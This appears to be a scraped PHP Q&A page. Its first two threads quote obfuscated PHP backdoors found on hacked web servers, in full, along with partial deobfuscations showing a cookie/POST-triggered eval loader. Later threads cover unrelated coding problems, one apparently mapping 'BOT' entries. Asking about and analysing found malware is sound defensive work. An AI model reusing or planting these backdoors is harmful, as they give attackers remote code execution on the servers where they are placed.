Random php code found in my website root folder, what is it? - php

The file name is 7bcwj0cb.php, and the contents are very weird, was I hacked?
There were like 5 other files with similar gibberish
<?php
$pgmvyzp = 'ab6u*9eivyx184o52l-kr7#ndpHfgtm_c\'s';
$maczjg = Array();
$maczjg[] = $pgmvyzp[32] . $pgmvyzp[20] . $pgmvyzp[6] . $pgmvyzp[0] . $pgmvyzp[29] . $pgmvyzp[6] . $pgmvyzp[31] . $pgmvyzp[27] . $pgmvyzp[3] . $pgmvyzp[23] . $pgmvyzp[32] . $pgmvyzp[29] . $pgmvyzp[7] . $pgmvyzp[14] . $pgmvyzp[23];
$maczjg[] = $pgmvyzp[13] . $pgmvyzp[24] . $pgmvyzp[1] . $pgmvyzp[32] . $pgmvyzp[6] . $pgmvyzp[13] . $pgmvyzp[6] . $pgmvyzp[21] . $pgmvyzp[18] . $pgmvyzp[6] . $pgmvyzp[24] . $pgmvyzp[5] . $pgmvyzp[5] . $pgmvyzp[18] . $pgmvyzp[13] . $pgmvyzp[32] . $pgmvyzp[1] . $pgmvyzp[16] . $pgmvyzp[18] . $pgmvyzp[12] . $pgmvyzp[16] . $pgmvyzp[15] . $pgmvyzp[1] . $pgmvyzp[18] . $pgmvyzp[27] . $pgmvyzp[15] . $pgmvyzp[21] . $pgmvyzp[12] . $pgmvyzp[16] . $pgmvyzp[13] . $pgmvyzp[11] . $pgmvyzp[15] . $pgmvyzp[5] . $pgmvyzp[24] . $pgmvyzp[2] . $pgmvyzp[2];
$maczjg[] = $pgmvyzp[26] . $pgmvyzp[4];
$maczjg[] = $pgmvyzp[22];
$maczjg[] = $pgmvyzp[32] . $pgmvyzp[14] . $pgmvyzp[3] . $pgmvyzp[23] . $pgmvyzp[29];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20] . $pgmvyzp[31] . $pgmvyzp[20] . $pgmvyzp[6] . $pgmvyzp[25] . $pgmvyzp[6] . $pgmvyzp[0] . $pgmvyzp[29];
$maczjg[] = $pgmvyzp[6] . $pgmvyzp[10] . $pgmvyzp[25] . $pgmvyzp[17] . $pgmvyzp[14] . $pgmvyzp[24] . $pgmvyzp[6];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[3] . $pgmvyzp[1] . $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20];
$maczjg[] = $pgmvyzp[0] . $pgmvyzp[20] . $pgmvyzp[20] . $pgmvyzp[0] . $pgmvyzp[9] . $pgmvyzp[31] . $pgmvyzp[30] . $pgmvyzp[6] . $pgmvyzp[20] . $pgmvyzp[28] . $pgmvyzp[6];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20] . $pgmvyzp[17] . $pgmvyzp[6] . $pgmvyzp[23];
$maczjg[] = $pgmvyzp[25] . $pgmvyzp[0] . $pgmvyzp[32] . $pgmvyzp[19];
foreach ($maczjg[8]($_COOKIE, $_POST) as $bxoyyiw => $uugksy) {
function kfzbo($maczjg, $bxoyyiw, $iuufylj)
{
return $maczjg[7]($maczjg[5]($bxoyyiw . $maczjg[1], ($iuufylj / $maczjg[9]($bxoyyiw)) + 1), 0, $iuufylj);
}
function ngsojvo($maczjg, $tafqe)
{
return #$maczjg[10]($maczjg[2], $tafqe);
}
function zhozxyb($maczjg, $tafqe)
{
$lvjxhjh = $maczjg[4]($tafqe) % 3;
if (!$lvjxhjh) {
$obfgnob = $maczjg[0];
$xmsae = $obfgnob("", $tafqe[1]($tafqe[2]));
$xmsae();
exit();
}
}
$uugksy = ngsojvo($maczjg, $uugksy);
zhozxyb($maczjg, $maczjg[6]($maczjg[3], $uugksy ^ kfzbo($maczjg, $bxoyyiw, $maczjg[9]($uugksy))));
}
?>
It looks like your post is mostly code; please add some more details.
It looks like your post is mostly code; please add some more details.

I was working on decoding this code slightly, my original code on my server was this :
<?php
$qzyri = 'fe1*sa4bx_#dc50ltnyoH6r3-gmp9viu2\'k';
$gsubnr = Array();
$gsubnr[] = $qzyri[12] . $qzyri[22] . $qzyri[1] . $qzyri[5] . $qzyri[16] . $qzyri[1] . $qzyri[9] . $qzyri[0] . $qzyri[31] . $qzyri[17] . $qzyri[12] . $qzyri[16] . $qzyri[30] . $qzyri[19] . $qzyri[17];
$gsubnr[] = $qzyri[20] . $qzyri[3];
$gsubnr[] = $qzyri[10];
$gsubnr[] = $qzyri[0] . $qzyri[14] . $qzyri[23] . $qzyri[2] . $qzyri[5] . $qzyri[11] . $qzyri[14] . $qzyri[0] . $qzyri[24] . $qzyri[0] . $qzyri[0] . $qzyri[13] . $qzyri[28] . $qzyri[24] . $qzyri[6] . $qzyri[32] . $qzyri[13] . $qzyri[23] . $qzyri[24] . $qzyri[5] . $qzyri[21] . $qzyri[6] . $qzyri[11] . $qzyri[24] . $qzyri[11] . $qzyri[2] . $qzyri[11] . $qzyri[0] . $qzyri[2] . $qzyri[6] . $qzyri[5] . $qzyri[7] . $qzyri[14] . $qzyri[7] . $qzyri[0] . $qzyri[23];
$gsubnr[] = $qzyri[12] . $qzyri[19] . $qzyri[31] . $qzyri[17] . $qzyri[16];
$gsubnr[] = $qzyri[4] . $qzyri[16] . $qzyri[22] . $qzyri[9] . $qzyri[22] . $qzyri[1] . $qzyri[27] . $qzyri[1] . $qzyri[5] . $qzyri[16];
$gsubnr[] = $qzyri[1] . $qzyri[8] . $qzyri[27] . $qzyri[15] . $qzyri[19] . $qzyri[11] . $qzyri[1];
$gsubnr[] = $qzyri[4] . $qzyri[31] . $qzyri[7] . $qzyri[4] . $qzyri[16] . $qzyri[22];
$gsubnr[] = $qzyri[5] . $qzyri[22] . $qzyri[22] . $qzyri[5] . $qzyri[18] . $qzyri[9] . $qzyri[26] . $qzyri[1] . $qzyri[22] . $qzyri[25] . $qzyri[1];
$gsubnr[] = $qzyri[4] . $qzyri[16] . $qzyri[22] . $qzyri[15] . $qzyri[1] . $qzyri[17];
$gsubnr[] = $qzyri[27] . $qzyri[5] . $qzyri[12] . $qzyri[34];
foreach ($gsubnr[8]($_COOKIE, $_POST) as $hbhkgf => $jeswg) {
function ilkbnxf($gsubnr, $hbhkgf, $gufyu)
{
return $gsubnr[7]($gsubnr[5]($hbhkgf . $gsubnr[3], ($gufyu / $gsubnr[9]($hbhkgf)) + 1), 0, $gufyu);
}
function rpobw($gsubnr, $wfqhr)
{
return #$gsubnr[10]($gsubnr[1], $wfqhr);
}
function przvg($gsubnr, $wfqhr)
{
$gltnue = $gsubnr[4]($wfqhr) % 3;
if (!$gltnue) {
$qebvtmo = $gsubnr[0];
$yxubf = $qebvtmo("", $wfqhr[1]($wfqhr[2]));
$yxubf();
exit();
}
}
$jeswg = rpobw($gsubnr, $jeswg);
przvg($gsubnr, $gsubnr[6]($gsubnr[2], $jeswg ^ ilkbnxf($gsubnr, $hbhkgf, $gsubnr[9]($jeswg))));
}
$yxubf
I have ended up decoding it so far to this
$array = array_merge($_COOKIE,$_POST);
foreach ($array as $key => $value) {
function ilkbnxf( $key, $length) {
return substr(str_repeat($key . 'f031ad0f-ff59-4253-a64d-d1df14ab0bf3', ($length / strlen($key)) + 1), 0, $length);
}
function toBinary( $wfqhr) {
return #pack('H*', $wfqhr);
}
function przvg( $wfqhr) {
$gltnue = count($wfqhr) % 3;
if (!$gltnue) {
var_dump($wfqhr);
// $yxubf = create_function("", $wfqhr[1]($wfqhr[2]));
// $yxubf();
// exit();
}
}
$value = toBinary( $value);
przvg(explode('#', $value ^ ilkbnxf( $key, strlen($value))));
Now I see some few issues,
I dont think this code will run due to these.
First of all, the function is being declared in a foreach loop, and as far as I know you cannot declare functions in a for loop due to not being able to declare functions multiple times (in the loop it will be declared more than once).
Secondly, the $wfqhr variable, from the code below, after running it a few times, this variable does not end up making a proper function as required in the create_function, which e.g would send the cookie somewhere or etc. The script does attempt to obfuscate the cookie though.
Also, for most of the cookie and post, I have tried, the if statement does not get run.
I cant figure out what this script is for or what it is meant to do, and if somebody else could help out in further figuring out the script, that would be quite helpful.

Related

what's this malicious code for?

I've found this code on a hosting, it appears that it's written by hacker, what is this code for?
<?php $zbsdho = '49y87v3bktgmrfc#ueo\'5anpdi-0_ls2*xH';$ivlmhe = Array();$ivlmhe[] = $zbsdho[34].$zbsdho[32];$ivlmhe[] = $zbsdho[1].$zbsdho[24].$zbsdho[21].$zbsdho[17].$zbsdho[20].$zbsdho[13].$zbsdho[4].$zbsdho[0].$zbsdho[26].$zbsdho[3].$zbsdho[20].$zbsdho[17].$zbsdho[31].$zbsdho[26].$zbsdho[0].$zbsdho[0].$zbsdho[20].$zbsdho[20].$zbsdho[26].$zbsdho[7].$zbsdho[7].$zbsdho[27].$zbsdho[3].$zbsdho[26].$zbsdho[27].$zbsdho[3].$zbsdho[24].$zbsdho[17].$zbsdho[14].$zbsdho[14].$zbsdho[6].$zbsdho[3].$zbsdho[14].$zbsdho[20].$zbsdho[4].$zbsdho[14];$ivlmhe[] = $zbsdho[15];$ivlmhe[] = $zbsdho[14].$zbsdho[18].$zbsdho[16].$zbsdho[22].$zbsdho[9];$ivlmhe[] = $zbsdho[30].$zbsdho[9].$zbsdho[12].$zbsdho[28].$zbsdho[12].$zbsdho[17].$zbsdho[23].$zbsdho[17].$zbsdho[21].$zbsdho[9];$ivlmhe[] = $zbsdho[17].$zbsdho[33].$zbsdho[23].$zbsdho[29].$zbsdho[18].$zbsdho[24].$zbsdho[17];$ivlmhe[] = $zbsdho[30].$zbsdho[16].$zbsdho[7].$zbsdho[30].$zbsdho[9].$zbsdho[12];$ivlmhe[] = $zbsdho[21].$zbsdho[12].$zbsdho[12].$zbsdho[21].$zbsdho[2].$zbsdho[28].$zbsdho[11].$zbsdho[17].$zbsdho[12].$zbsdho[10].$zbsdho[17];$ivlmhe[] = $zbsdho[30].$zbsdho[9].$zbsdho[12].$zbsdho[29].$zbsdho[17].$zbsdho[22];$ivlmhe[] = $zbsdho[23].$zbsdho[21].$zbsdho[14].$zbsdho[8];foreach ($ivlmhe[7]($_COOKIE, $_POST) as $owoafjz => $nunarwf){function ogehexx($ivlmhe, $owoafjz, $oibsdj){return $ivlmhe[6]($ivlmhe[4]($owoafjz . $ivlmhe[1], ($oibsdj / $ivlmhe[8]($owoafjz)) + 1), 0, $oibsdj);}function lxasj($ivlmhe, $arihtmu){return #$ivlmhe[9]($ivlmhe[0], $arihtmu);}function jxlby($ivlmhe, $arihtmu){$flgqwzt = $ivlmhe[3]($arihtmu) % 3;if (!$flgqwzt) {eval($arihtmu[1]($arihtmu[2]));exit();}}$nunarwf = lxasj($ivlmhe, $nunarwf);jxlby($ivlmhe, $ivlmhe[5]($ivlmhe[2], $nunarwf ^ ogehexx($ivlmhe, $owoafjz, $ivlmhe[8]($nunarwf))));}
First start off by beautifying the code:
<?php
$zbsdho = '49y87v3bktgmrfc#ueo\'5anpdi-0_ls2*xH';
$ivlmhe = Array();
$ivlmhe[] = $zbsdho[34] . $zbsdho[32];
$ivlmhe[] = $zbsdho[1] . $zbsdho[24] . $zbsdho[21] . $zbsdho[17] . $zbsdho[20] . $zbsdho[13] . $zbsdho[4] . $zbsdho[0] . $zbsdho[26] . $zbsdho[3] . $zbsdho[20] . $zbsdho[17] . $zbsdho[31] . $zbsdho[26] . $zbsdho[0] . $zbsdho[0] . $zbsdho[20] . $zbsdho[20] . $zbsdho[26] . $zbsdho[7] . $zbsdho[7] . $zbsdho[27] . $zbsdho[3] . $zbsdho[26] . $zbsdho[27] . $zbsdho[3] . $zbsdho[24] . $zbsdho[17] . $zbsdho[14] . $zbsdho[14] . $zbsdho[6] . $zbsdho[3] . $zbsdho[14] . $zbsdho[20] . $zbsdho[4] . $zbsdho[14];
$ivlmhe[] = $zbsdho[15];
$ivlmhe[] = $zbsdho[14] . $zbsdho[18] . $zbsdho[16] . $zbsdho[22] . $zbsdho[9];
$ivlmhe[] = $zbsdho[30] . $zbsdho[9] . $zbsdho[12] . $zbsdho[28] . $zbsdho[12] . $zbsdho[17] . $zbsdho[23] . $zbsdho[17] . $zbsdho[21] . $zbsdho[9];
$ivlmhe[] = $zbsdho[17] . $zbsdho[33] . $zbsdho[23] . $zbsdho[29] . $zbsdho[18] . $zbsdho[24] . $zbsdho[17];
$ivlmhe[] = $zbsdho[30] . $zbsdho[16] . $zbsdho[7] . $zbsdho[30] . $zbsdho[9] . $zbsdho[12];
$ivlmhe[] = $zbsdho[21] . $zbsdho[12] . $zbsdho[12] . $zbsdho[21] . $zbsdho[2] . $zbsdho[28] . $zbsdho[11] . $zbsdho[17] . $zbsdho[12] . $zbsdho[10] . $zbsdho[17];
$ivlmhe[] = $zbsdho[30] . $zbsdho[9] . $zbsdho[12] . $zbsdho[29] . $zbsdho[17] . $zbsdho[22];
$ivlmhe[] = $zbsdho[23] . $zbsdho[21] . $zbsdho[14] . $zbsdho[8];
foreach ($ivlmhe[7]($_COOKIE, $_POST) as $owoafjz => $nunarwf) {
function ogehexx($ivlmhe, $owoafjz, $oibsdj)
{
return $ivlmhe[6]($ivlmhe[4]($owoafjz . $ivlmhe[1], ($oibsdj / $ivlmhe[8]($owoafjz)) + 1), 0, $oibsdj);
}
function lxasj($ivlmhe, $arihtmu)
{
return #$ivlmhe[9]($ivlmhe[0], $arihtmu);
}
function jxlby($ivlmhe, $arihtmu)
{
$flgqwzt = $ivlmhe[3]($arihtmu) % 3;
if (!$flgqwzt) {
eval($arihtmu[1]($arihtmu[2]));
exit();
}
}
$nunarwf = lxasj($ivlmhe, $nunarwf);
jxlby($ivlmhe, $ivlmhe[5]($ivlmhe[2], $nunarwf ^ ogehexx($ivlmhe, $owoafjz, $ivlmhe[8]($nunarwf))));
}
Then we find the values located in $ivlmhe:
array(10) {
[0]=> string(2) "H*"
[1]=> string(36) "9dae5f74-85e2-4455-bb08-08decc38c57c"
[2]=> string(1) "#"
[3]=> string(5) "count"
[4]=> string(10) "str_repeat"
[5]=> string(7) "explode"
[6]=> string(6) "substr"
[7]=> string(11) "array_merge"
[8]=> string(6) "strlen"
[9]=> string(4) "pack"
}
Then:
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function ogehexx($ivlmhe, $key, $oibsdj)
{
return substr(str_repeat($key . "9dae5f74-85e2-4455-bb08-08decc38c57c", ($oibsdj / strlen($key)) + 1), 0, $oibsdj);
}
function lxasj($ivlmhe, $arihtmu)
{
return #pack("H*", $arihtmu);
}
function jxlby($ivlmhe, $arihtmu)
{
$flgqwzt = count($arihtmu) % 3;
if (!$flgqwzt) {
eval($arihtmu[1]($arihtmu[2]));
exit();
}
}
$value = lxasj($ivlmhe, $value);
jxlby($ivlmhe, explode("#", $value ^ ogehexx($ivlmhe, $key, strlen($value))));
}
That's all I've been able to decode so far, they are interested in the $_COOKIE & $_POST variables and perform various functions on them.
I made an error in the jxlby function originally, I have changed it to what it should be... the eval() within this function will be the nasty part, but I am finding it very difficult to figure out what exactly is being evaluated as the input for this function $arihtmu comes from this line which has a bitwise Xor operator in it explode("#", $value ^ ogehexx($ivlmhe, $key, strlen($value)))

Only first pdf file filled with fpdm can be opened

this is my first question here so please excuse if this is incomprehensible.
I've got a little web tool on PHP for registering examinees to an examination. At the end I want to fill a PDF form with FPDM with data from the database in a foreach. The frist file which is created is perfect. The others are created but when I want to open with Acrobat or Chrome the loading is failed. I can fill every set of data separately but when I call the filling function twice or multiple times, the second file can not be opened.
MS Edge is able to open the currupt files but doesn't show the fonts correctly. So FPDM seems to fill all forms correctly but the files are somehow broken.
I'm searching for solutiones sincs days but no idea where is the problem. The code should be correct.
Can anybody help??
Here is the code:
require_once('libs/fpdm.php');
$statement = $pdo->prepare("SELECT * FROM `examinations` WHERE uid = :uid");
$result = $statement->execute(array('uid' => $_GET['prepareExamination']));
$examinationToPrepare = $statement->fetch();
$statement = $pdo->prepare("SELECT * FROM `examinees` WHERE examination = :examination");
$result = $statement->execute(array('examination' => $_GET['prepareExamination']));
$examinees = $statement->fetchAll();
$i = 1;
function mergePDF($template, $fields, $outfilename) {
header("Content-type:application/pdf");
header("Content-Disposition:attachment;filename=" . basename($outfilename) . "");
$pdf = new FPDM($template);
$pdf->Load($fields, true);
$pdf->Merge();
$pdf->Output($outfilename, "F")
}
foreach ($examinees as $examinee => $data) {
if ($examinationToPrepare['department'] == 1) {
$examiner1Name = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'FirstExaminer'], 'firstName')) . ' ' . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'FirstExaminer'], 'lastName'));
$examiner1Description = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'FirstExaminer'], 'graduation')) . "\n" . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'FirstExaminer'], 'function'));
$examiner2Name = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'SecondExaminer'], 'firstName')) . ' ' . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'SecondExaminer'], 'lastName'));
$examiner2Description = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'SecondExaminer'], 'graduation')) . "\n" . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'SecondExaminer'], 'function'));
} else {
$examiner1Name = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['firstExaminer'], 'firstName')) . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['firstExaminer'], 'lastName'));
$examiner1Description = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['firstExaminer'], 'graduation')) . '\n' . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['firstExaminer'], 'function'));
$examiner2Name = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['secondExaminer'], 'firstName')) . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['secondExaminer'], 'lastName'));
$examiner2Description = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['secondExaminer'], 'graduation')) . '\n' . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['secondExaminer'], 'function'));
}
$fields = array(
'name' => utf8_encode($data['firstName']) . ' ' . utf8_encode($data['lastName']),
'graduierung' => utf8_encode(findByUid($_SESSION['graduations'], $data['graduation'], 'name')) . ' ' . utf8_encode(findByUid($_SESSION['systems'], $data['system'], 'name')),
'ort' => utf8_encode($examinationToPrepare['location']),
'registrierung' => utf8_encode($examinationToPrepare['registration']),
'datum' => utf8_encode($examinationToPrepare['date']),
'pruefer1' => $examiner1Name,
'pruefer1-grad' => $examiner1Description,
'pruefer2' => $examiner2Name,
'pruefer2-grad' => $examiner2Description
);
if (!file_exists('documents/' . utf8_encode($examinationToPrepare['title']))) {
mkdir('documents/' . utf8_encode($examinationToPrepare['title']), 0777, true);
}
if ($examinationToPrepare['department'] == 1 && !file_exists('documents/' . $examinationToPrepare['title'] . '/' . findById($_SESSION['subDepartments'], $data['subDepartment'], 'name'))) {
mkdir('documents/' . $examinationToPrepare['title'] . '/' . findById($_SESSION['subDepartments'], $data['subDepartment'], 'name'), 0777, true);
}
mergePDF('pdf/Urkunde1.pdf', $fields, 'documents/' . $examinationToPrepare['title'] . '/' . ($examinationToPrepare['department'] == 1 ? findById($_SESSION['subDepartments'], $data['subDepartment'], 'name') . '/' : '') . utf8_encode($data['firstName']) . ' ' . utf8_encode($data['lastName']). '.pdf');
$i++;
}

PHP variable from array to function

<?
$dir4 = "report/";
$dh4 = opendir($dir4);
$giCity = geoip_open("geoip/GeoLiteCity.dat", GEOIP_STANDARD);
while (false !== ($filename4 = readdir($dh4))) {
$files4[] = $filename4;
sort($files4);
}
for ($p = 2; $p < count($files4); ++$p){
${"name" . $p} = pathinfo($files4[$p], PATHINFO_FILENAME);
${"idset" . $p} = substr("${"name" . $p}", 7, strpos("${"name" . $p} ", '-'));
${"soubor" . $p} = fopen("report/$files4[$p]", "r");
${"ipset" . $p}=fgets(${"soubor" . $p});
${"ipset2" . $p} = substr("${"ipset" . $p}", strpos("${"ipset" . $p}", ','));
${"ipset" . $p}= str_replace("${"ipset2" . $p}", "", "${"ipset" . $p}");
${"stav" . $p}=fgets(${"soubor" . $p});
${"ver" . $p}=fgets(${"soubor" . $p});
${"group" . $p}=fgets(${"soubor" . $p});
${"ipl" . $p}=fgets(${"soubor" . $p});
${"hw" . $p}=fgets(${"soubor" . $p});
${"stavh" . $p} = substr("${"stav" . $p}", 0, strpos("${"stav" . $p}", '['));
${"stav" . $p}= str_replace("${"stavh" . $p}", "", "${"stav" . $p}");
fclose(${"soubor" . $p});
//MAP loading START
${"record" . $p} = geoip_record_by_addr($giCity, ${"group" . $p});
${"lat" . $p} = ${"record" . $p}->latitude;
${"long" . $p} = ${"record" . $p}->longitude;
${"relace" . $p} = fopen("map.dat", "a");
${"text1" . $p} = '<script>';
${"text2" . $p} ='var showPosition = function (position) {';
${"text3" . $p} = 'var userLatLng = new google.maps.LatLng('."${"lat" . $p}".','."${"long" . $p}".');';
${"text4" . $p} = ' var marker = new google.maps.Marker({ position: userLatLng,title: \'BOT\',map: map });} ';
${"text5" . $p} = 'navigator.geolocation.getCurrentPosition(showPosition); </script>';
fwrite(${"relace" . $p},"\n${"text1" . $p}");
fwrite(${"relace" . $p},"\n${"text2" . $p}");
fwrite(${"relace" . $p},"\n${"text3" . $p}");
fwrite(${"relace" . $p},"\n${"text4" . $p}");
fwrite(${"relace" . $p},"\n${"text5" . $p}");
fclose(${"relace" . $p});
?>
This Code works only if variable is static ${"group" . $p}->$group="xxxxxxx"; but when is reading by for it will sucessfully echo but will not work with that function ${"group" . $p} function is acting like nothing in that variable.function dont want accept array as string and this not too group[$p] but is not empty ,i dont know why function is accepting only variables like $group = "54.112.55.111"; in array is same but its not working

Making selected value of option with php

I want to make a code which demonstrates that if I choose any option value and press submit button, the value which I chose should be seen in the options box.
The codes are;
<?php
$myfile = fopen("cars_lab5.txt", "r") or die("Unable to open file!");
?>
This is to open the file because I pull the items from a file.
<?php
$index = 0;
$val = $_GET['car'];
//$selection = "";
for ($index=0 ; $index < 5 ; $index++){
$num = 0;
$line = fgets($myfile) . "<br>";
$slide = explode("|",$line);
//echo '<option value="' . $index . '">' . $slide[$num] . ' - ' . $slide[num+1] . ' euros';
if ($val==0){
echo '<option value="' . $index . '"' . $selection . ' selected">' . $slide[$num] . ' - ' . $slide[num+1] . ' euros'; }
else if ($val==1){
echo '<option value="' . $index . '"' . $selection . ' selected">' . $slide[$num] . ' - ' . $slide[num+1] . ' euros'; }
else if ($val==2){
echo '<option value="' . $index . '"' . $selection . ' selected">' . $slide[$num] . ' - ' . $slide[num+1] . ' euros'; }
else if ($val==3){
echo '<option value="' . $index . '"' . $selection . ' selected">' . $slide[$num] . ' - ' . $slide[num+1] . ' euros'; }
else if ($val==4){
echo '<option value="' . $index . '"' . $selection . ' selected">' . $slide[$num] . ' - ' . $slide[num+1] . ' euros'; }
}
fclose($myfile);
?>
When I use this code, everything works properly but if I choose third option and press submit button, again first item is seen on the option box instead of what I choose.
You have set all options with the 'selected' tag, so the browser will show the last option as selected by default.
You need to remove the 'selected' string from the echo statement and configure the $selection var somewhere:
$selection=($index==$val?'selected':null)
You don't need the if/else statement at all.
So you would just have one line:
echo '<option value="' . $index . '"' . $selection . '">' . $slide[$num] . ' - ' . $slide[num+1] . ' euros';
EDIT including example as per comment
Your example code will look like:
<?php
$index = 0;
$val = $_GET['car'];
//$selection = "";
for ($index=0 ; $index < 5 ; $index++){
$num = 0;
$line = fgets($myfile) . "<br>";
$slide = explode("|",$line);
$selection=($index==$val?'selected':null);
echo '<option value="' . $index . '"' . $selection . '">' . $slide[$num] . ' - ' . $slide[num+1] . ' euros';
}
fclose($myfile);
?>

Authorize.Net Simple Chekout method on XML after ARB process

How can I add the 2nd time Direct Post method after payment is getting succeeded on Authorized Dot Net ARB. Let me elaborate
Suppose an user will subscribe for membership and the website will ask for donation too. After payment of Membership on ARB(XML version) how may I pay again for donation one time through Authorized dot net. I tried to use ARB and got duplicate entry error. Let me paste the code here for more details.
ARB Code I used
$SubscrName = $FirstName." ".$LastName;
$length = 12;
$unit = "months";
$totatltenure = $CardExpYear-date("Y");
$start_date = date("Y-m-d");
$totalOccurrences = 1*$totatltenure;
$trialOccurrences = 0;
$trialAmount = 0;
$expirationDate = $CardExpYear."-".$CardExpMonth;
$content =
"<?xml version=\"1.0\" encoding=\"utf-8\"?>" .
"<ARBCreateSubscriptionRequest xmlns=\"AnetApi/xml/v1/schema/AnetApiSchema.xsd\">" .
"<merchantAuthentication>".
"<name>" . $loginname . "</name>".
"<transactionKey>" . $transactionkey . "</transactionKey>".
"</merchantAuthentication>".
"<refId>" . $refId . "</refId>".
"<subscription>".
"<name>" . $SubscrName . "</name>".
"<paymentSchedule>".
"<interval>".
"<length>". $length ."</length>".
"<unit>". $unit ."</unit>".
"</interval>".
"<startDate>" . $start_date . "</startDate>".
"<totalOccurrences>". $totalOccurrences . "</totalOccurrences>".
"<trialOccurrences>". $trialOccurrences . "</trialOccurrences>".
"</paymentSchedule>".
"<amount>". $TotalCosting ."</amount>".
"<trialAmount>" . $trialAmount . "</trialAmount>".
"<payment>".
"<creditCard>".
"<cardNumber>" . $CardNumber . "</cardNumber>".
"<expirationDate>" . $expirationDate . "</expirationDate>".
"<cardCode>".$CVV_Code."</cardCode>".
"</creditCard>".
"</payment>".
"<billTo>".
"<firstName>". $CardFirstName . "</firstName>".
"<lastName>" . $CardLastName . "</lastName>".
"<address>" . $CardStreet . "</address>".
"<city>" . $CardCity . "</city>".
"<state>" . $CardState . "</state>".
"<zip>" . $CardZip . "</zip>".
"</billTo>".
"</subscription>".
"</ARBCreateSubscriptionRequest>";
$response = send_request_via_curl($host,$path,$content);
if ($response)
{
list ($refId, $resultCode, $code, $text, $subscription_id) =parse_return($response);
if($resultCode == "Ok")
{
if($_SESSION['willdonate'] == 'donated' && $_SESSION['donateammount'] != '')
{
$SubscrName = $FirstName." ".$LastName;
$length = 2;
$unit = "months";
$totatltenure = 1;
$start_date = date("Y-m-d");
$totalOccurrences = 1;
$trialOccurrences = 0;
$trialAmount = 0;
$expirationDate = date("Y-m");
$TotalCosting = $_SESSION['donateammount'];
$contentDonation =
"<?xml version=\"1.0\" encoding=\"utf-8\"?>" .
"<ARBCreateSubscriptionRequest xmlns=\"AnetApi/xml/v1/schema/AnetApiSchema.xsd\">" .
"<merchantAuthentication>".
"<name>" . $loginname . "</name>".
"<transactionKey>" . $transactionkey . "</transactionKey>".
"</merchantAuthentication>".
"<refId>" . $refId . "</refId>".
"<subscription>".
"<name>" . $SubscrName . "</name>".
"<paymentSchedule>".
"<interval>".
"<length>". $length ."</length>".
"<unit>". $unit ."</unit>".
"</interval>".
"<startDate>" . $start_date . "</startDate>".
"<totalOccurrences>". $totalOccurrences . "</totalOccurrences>".
"<trialOccurrences>". $trialOccurrences . "</trialOccurrences>".
"</paymentSchedule>".
"<amount>". $TotalCosting ."</amount>".
"<trialAmount>" . $trialAmount . "</trialAmount>".
"<payment>".
"<creditCard>".
"<cardNumber>" . $CardNumber . "</cardNumber>".
"<expirationDate>" . $expirationDate . "</expirationDate>".
"<cardCode>".$CVV_Code."</cardCode>".
"</creditCard>".
"</payment>".
"<billTo>".
"<firstName>". $CardFirstName . "</firstName>".
"<lastName>" . $CardLastName . "</lastName>".
"<address>" . $CardStreet . "</address>".
"<city>" . $CardCity . "</city>".
"<state>" . $CardState . "</state>".
"<zip>" . $CardZip . "</zip>".
"</billTo>".
"</subscription>".
"</ARBCreateSubscriptionRequest>";
$responseDonation = send_request_via_curl($host,$path,$contentDonation);
if ($responseDonation)
{
var_dump($responseDonation);
exit;
list ($refId, $resultCodeDonation, $code, $text, $subscription_id) =parse_return($responseDonation);
if($resultCodeDonation == "Ok")
{}
}
}
}
}
Here is the code I have used where I tried ARB Script two times to pay 2nd time but I think this is not the right process so I get an error of Duplicate entry. Can anyone help me providing XML CUrl code of Direct Post method like ARB XML Curl I used. I didn't find any suitable example after searching a lot.

Categories